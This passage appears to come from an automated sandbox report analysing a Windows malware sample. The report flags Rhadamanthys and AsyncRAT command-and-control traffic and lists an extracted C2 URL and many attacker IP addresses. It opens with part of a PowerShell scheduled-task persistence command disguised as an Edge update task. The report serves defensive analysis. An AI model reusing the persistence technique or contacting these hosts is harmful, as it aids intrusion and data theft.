(Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)", ProcessId: 7492, ProcessName: powershell.exe

Suricata Signatures

ETPRO JA3 HASH Suspected Malware Related Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-05T14:33:18.518868+0200	2854824	2	Potentially Bad Traffic	147.45.126.71	3752	192.168.2.4	49737	TCP
2024-10-05T14:33:28.169435+0200	2854824	2	Potentially Bad Traffic	147.45.126.71	3752	192.168.2.4	49738	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-05T14:33:57.322189+0200	2842478	1	Malware Command and Control Activity Detected	185.196.9.174	7777	192.168.2.4	57406	TCP
2024-10-05T14:35:02.831698+0200	2842478	1	Malware Command and Control Activity Detected	185.196.9.174	7777	192.168.2.4	58626	TCP

ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-05T14:33:07.055635+0200	2854802	1	Domain Observed Used for C2 Detected	147.45.126.71	3752	192.168.2.4	49730	TCP
2024-10-05T14:33:18.518868+0200	2854802	1	Domain Observed Used for C2 Detected	147.45.126.71	3752	192.168.2.4	49737	TCP
2024-10-05T14:33:28.169435+0200	2854802	1	Domain Observed Used for C2 Detected	147.45.126.71	3752	192.168.2.4	49738	TCP
2024-10-05T14:33:34.235800+0200	2854802	1	Domain Observed Used for C2 Detected	46.29.238.96	4872	192.168.2.4	49739	TCP
2024-10-05T14:35:03.776364+0200	2854802	1	Domain Observed Used for C2 Detected	46.29.238.96	4872	192.168.2.4	58627	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 3.3.regsvr32.exe.2a24f90.7.raw.unpack

Malware Configuration Extractor: Rhadamanthys {"C2 url": "https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\ACKq.ini	Virustotal: Detection: 7%			Perma Link
Source: C:\Users\user\AppData\Roaming\oc82.ini	Virustotal: Detection: 6%			Perma Link

Multi AV Scanner detection for submitted file

Source: 81zBpBAWwc.exe	ReversingLabs: Detection: 39%
Source: 81zBpBAWwc.exe	Virustotal: Detection: 48%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:57391 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:57395 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:57479 version: TLS 1.2

Source: 81zBpBAWwc.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: kernel32.pdbUGP source: regsvr32.exe, 00000003.00000003.1734850005.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1734930307.000000001C460000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744663903.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744748807.00000149EA4D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: kernelbase.pdbUGP source: regsvr32.exe, 00000003.00000003.1735435044.000000001C680000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1735195226.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1745138145.00000149EA6F0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744894909.00000149EA410000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: regsvr32.exe, 00000003.00000003.1734494112.000000001C590000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1733761605.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744046872.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744297560.00000149EA600000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: OpenWith.exe, 00000004.00000003.1851414734.00000149EABE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: kernel32.pdb source: regsvr32.exe, 00000003.00000003.1734850005.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1734930307.000000001C460000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744663903.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744748807.00000149EA4D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: regsvr32.exe, 00000003.00000003.1734494112.000000001C590000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1733761605.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744046872.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744297560.00000149EA600000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: OpenWith.exe, 00000004.00000003.1851414734.00000149EAC00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: OpenWith.exe, 00000004.00000003.1851414734.00000149EABF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: win32u.pdb source: wmpnscfg.exe, 00000009.00000003.1994611962.000001C7BCF80000.00000004.00000001.00020000.00000000.sdmp, wmpnscfg.exe, 00000009.00000003.1994546000.000001C7BCF50000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: win32u.pdbGCTL source: wmpnscfg.exe, 00000009.00000003.1994611962.000001C7BCF80000.00000004.00000001.00020000.00000000.sdmp, wmpnscfg.exe, 00000009.00000003.1994546000.000001C7BCF50000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: kernelbase.pdb source: regsvr32.exe, 00000003.00000003.1735435044.000000001C680000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1735195226.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1745138145.00000149EA6F0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744894909.00000149EA410000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6997140F0 memcpy,memcpy,memset,FindFirstFileW,memcpy,GetLastError,FindClose,GetLastError,		0_2_00007FF6997140F0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12940F0 memcpy,memcpy,memset,FindFirstFileW,memcpy,GetLastError,FindClose,GetLastError,		12_2_00007FF6D12940F0

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4x nop then ret	3_2_1BDA10BC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 4x nop then dec esp	9_2_000001C7BCC85641
Source: C:\Windows\System32\rekeywiz.exe	Code function: 4x nop then dec esp	11_2_00000215F7CE5641
Source: C:\Windows\System32\rekeywiz.exe	Code function: 4x nop then ret	12_2_0000022C138E108E
Source: C:\Windows\System32\rekeywiz.exe	Code function: 4x nop then dec esp	12_2_0000022C138E5641

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 147.45.126.71:3752 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 147.45.126.71:3752 -> 192.168.2.4:49737
Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 147.45.126.71:3752 -> 192.168.2.4:49738
Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 46.29.238.96:4872 -> 192.168.2.4:49739
Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 185.196.9.174:7777 -> 192.168.2.4:57406
Source: Network traffic	Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 46.29.238.96:4872 -> 192.168.2.4:58627
Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 185.196.9.174:7777 -> 192.168.2.4:58626

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 185.196.9.174 7777

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm

Source: unknown

Network traffic detected: IP country count 31

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 147.45.126.71:3752
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 46.29.238.96:4872
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 130.133.110.14:33445
Source: global traffic	TCP traffic: 192.168.2.4:49742 -> 194.249.212.109:33445
Source: global traffic	TCP traffic: 192.168.2.4:57393 -> 104.223.122.15:3389
Source: global traffic	TCP traffic: 192.168.2.4:57394 -> 51.254.84.212:33445
Source: global traffic	TCP traffic: 192.168.2.4:57406 -> 185.196.9.174:7777
Source: global traffic	TCP traffic: 192.168.2.4:57412 -> 185.58.206.164:33445
Source: global traffic	TCP traffic: 192.168.2.4:57413 -> 195.93.190.6:33445
Source: global traffic	TCP traffic: 192.168.2.4:57476 -> 95.215.44.78:3389
Source: global traffic	TCP traffic: 192.168.2.4:57477 -> 163.172.136.118:3389
Source: global traffic	TCP traffic: 192.168.2.4:57533 -> 37.97.185.116:33445
Source: global traffic	TCP traffic: 192.168.2.4:57534 -> 80.87.193.193:3389
Source: global traffic	TCP traffic: 192.168.2.4:57575 -> 46.229.52.198:33445
Source: global traffic	TCP traffic: 192.168.2.4:57576 -> 85.21.144.224:33445
Source: global traffic	TCP traffic: 192.168.2.4:57577 -> 37.187.122.30:3389
Source: global traffic	TCP traffic: 192.168.2.4:57578 -> 205.185.116.116:33445
Source: global traffic	TCP traffic: 192.168.2.4:57676 -> 198.98.51.198:3389
Source: global traffic	TCP traffic: 192.168.2.4:57677 -> 104.233.104.126:33445
Source: global traffic	TCP traffic: 192.168.2.4:57681 -> 148.251.23.146:2306
Source: global traffic	TCP traffic: 192.168.2.4:57683 -> 193.124.186.205:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 181.129.138.155:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 5.161.114.184:34021
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 89.210.166.173:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 91.92.137.228:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 54.170.22.144:33448
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 3.110.12.133:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 2.136.107.96:1320
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 40.76.229.31:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 85.130.224.235:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 164.132.42.141:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 74.108.23.201:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 46.137.120.12:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 108.128.26.220:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 54.170.106.110:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 217.224.92.120:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 99.186.81.111:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 213.159.68.101:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 90.242.29.95:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 52.51.137.106:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 34.241.110.200:33448
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 138.68.105.169:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 148.251.8.19:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 104.194.143.68:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 155.138.145.67:61384
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 95.216.177.210:64093
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 79.236.100.248:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 80.85.141.68:33449
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 89.238.141.230:44766
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 188.245.67.250:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 96.55.239.247:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 94.177.230.163:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 46.249.49.17:1232
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 148.251.52.209:33450
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 79.127.222.216:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 37.120.143.202:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 82.102.27.163:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 5.227.11.201:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 185.228.233.50:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 212.129.41.121:52431
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 91.227.18.172:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 54.170.144.10:33448
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 94.125.9.47:49581
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 185.92.221.198:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 88.196.188.239:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 194.26.135.86:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 199.247.16.86:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 101.99.93.180:57192
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 45.129.56.135:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 77.48.74.95:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 146.19.213.122:61128
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 158.247.196.119:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 188.241.176.236:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 193.233.134.70:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 185.174.137.12:59804
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 5.19.249.240:38296
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 141.164.38.70:1059
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 5.188.118.119:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 114.144.161.254:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 103.245.193.234:44610
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 94.233.72.48:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 79.125.79.101:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 92.100.206.10:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 94.232.45.36:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 212.75.29.156:56528
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 95.24.122.206:36443
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 116.255.38.20:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 138.199.15.153:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 66.70.179.236:32557
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 199.197.15.25:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 54.216.51.54:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 217.165.73.29:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 188.170.74.198:42530
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 47.146.159.131:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 106.73.1.162:34069
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 44.210.236.8:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 3.248.105.39:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 99.224.99.93:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 149.22.94.16:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 91.227.77.240:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 146.70.224.90:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 5.228.114.154:1341
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 62.216.201.17:9387
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 168.119.209.10:28215
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 136.243.190.131:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 135.181.91.195:26042
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 110.93.247.72:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 176.126.113.11:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 45.136.49.8:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 185.86.77.27:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 185.80.234.12:33447
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 81.19.138.213:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 45.227.255.112:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 46.46.74.185:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 89.1.161.63:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 143.244.42.106:33447
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 45.88.106.247:33449
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 34.246.111.22:33447
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 156.34.45.130:16161
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 103.124.92.249:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 176.194.206.41:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 87.120.112.80:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 54.228.90.186:33447
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 13.82.90.69:35569
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 41.33.65.206:33447
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 95.211.95.28:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 37.120.155.10:5406
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 213.172.95.31:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 95.25.63.192:10775
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 31.14.252.246:33446
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 193.29.13.21:33445
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 80.82.54.246:1024
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 77.239.216.254:13436
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 85.95.178.227:1793
Source: global traffic	UDP traffic: 192.168.2.4:33445 -> 185.120.145.82:33447

Source: global traffic

TCP traffic: 192.168.2.4:57389 -> 162.159.36.2:53

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 147.45.126.71:3752 -> 192.168.2.4:49737
Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 147.45.126.71:3752 -> 192.168.2.4:49738

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.126.71

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

Code function: 0_2_00007FF699717D00 recv,WSAGetLastError,

0_2_00007FF699717D00

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uEnGmW4R2wLmeAx&MD=ZEn5E+1s HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uEnGmW4R2wLmeAx&MD=ZEn5E+1s HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
